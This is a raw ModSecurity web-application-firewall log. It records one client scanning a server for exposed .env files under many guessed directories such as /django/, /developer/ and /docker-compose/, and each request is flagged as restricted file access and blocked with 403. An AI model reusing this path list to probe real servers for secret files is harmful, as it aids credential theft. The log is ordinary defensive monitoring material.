[Thu Feb 26 01:03:01.320080 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyugAAAAA&quot;]
[Thu Feb 26 01:03:01.320269 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env.local&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyugAAAAA&quot;]
[Thu Feb 26 01:03:01.325979 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django-blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkAAAAAE&quot;]
[Thu Feb 26 01:03:01.326247 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkAAAAAE&quot;]
[Thu Feb 26 01:03:01.326423 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django-blog/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkAAAAAE&quot;]
[Thu Feb 26 01:03:01.357924 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkQAAAAE&quot;]
[Thu Feb 26 01:03:01.358170 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkQAAAAE&quot;]
[Thu Feb 26 01:03:01.358334 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkQAAAAE&quot;]
[Thu Feb 26 01:03:01.360410 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev_env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyuwAAAAA&quot;]
[Thu Feb 26 01:03:01.360634 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyuwAAAAA&quot;]
[Thu Feb 26 01:03:01.360777 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev_env/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyuwAAAAA&quot;]
[Thu Feb 26 01:03:01.405024 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /django_project_path/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkgAAAAE&quot;]
[Thu Feb 26 01:03:01.405257 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkgAAAAE&quot;]
[Thu Feb 26 01:03:01.405421 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/django_project_path/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkgAAAAE&quot;]
[Thu Feb 26 01:03:01.410652 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developer/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvQAAAAA&quot;]
[Thu Feb 26 01:03:01.410882 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvQAAAAA&quot;]
[Thu Feb 26 01:03:01.411029 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developer/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvQAAAAA&quot;]
[Thu Feb 26 01:03:01.442702 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkwAAAAE&quot;]
[Thu Feb 26 01:03:01.442958 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkwAAAAE&quot;]
[Thu Feb 26 01:03:01.443126 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhkwAAAAE&quot;]
[Thu Feb 26 01:03:01.443566 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /developerslv/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvgAAAAA&quot;]
[Thu Feb 26 01:03:01.443782 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvgAAAAA&quot;]
[Thu Feb 26 01:03:01.443942 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/developerslv/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvgAAAAA&quot;]
[Thu Feb 26 01:03:01.465472 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /development/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvwAAAAA&quot;]
[Thu Feb 26 01:03:01.465701 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvwAAAAA&quot;]
[Thu Feb 26 01:03:01.465876 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/development/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyvwAAAAA&quot;]
[Thu Feb 26 01:03:01.516353 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlQAAAAE&quot;]
[Thu Feb 26 01:03:01.516602 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlQAAAAE&quot;]
[Thu Feb 26 01:03:01.516773 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlQAAAAE&quot;]
[Thu Feb 26 01:03:01.555964 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker-compose/platform/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlgAAAAE&quot;]
[Thu Feb 26 01:03:01.556192 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlgAAAAE&quot;]
[Thu Feb 26 01:03:01.556344 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-compose/platform/.env&quot;] [unique_id &quot;aZ-NtTAL5Lg_nL66HcLhlgAAAAE&quot;]
[Thu Feb 26 01:03:01.563275 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /directories/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/directories/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiywgAAAAA&quot;]
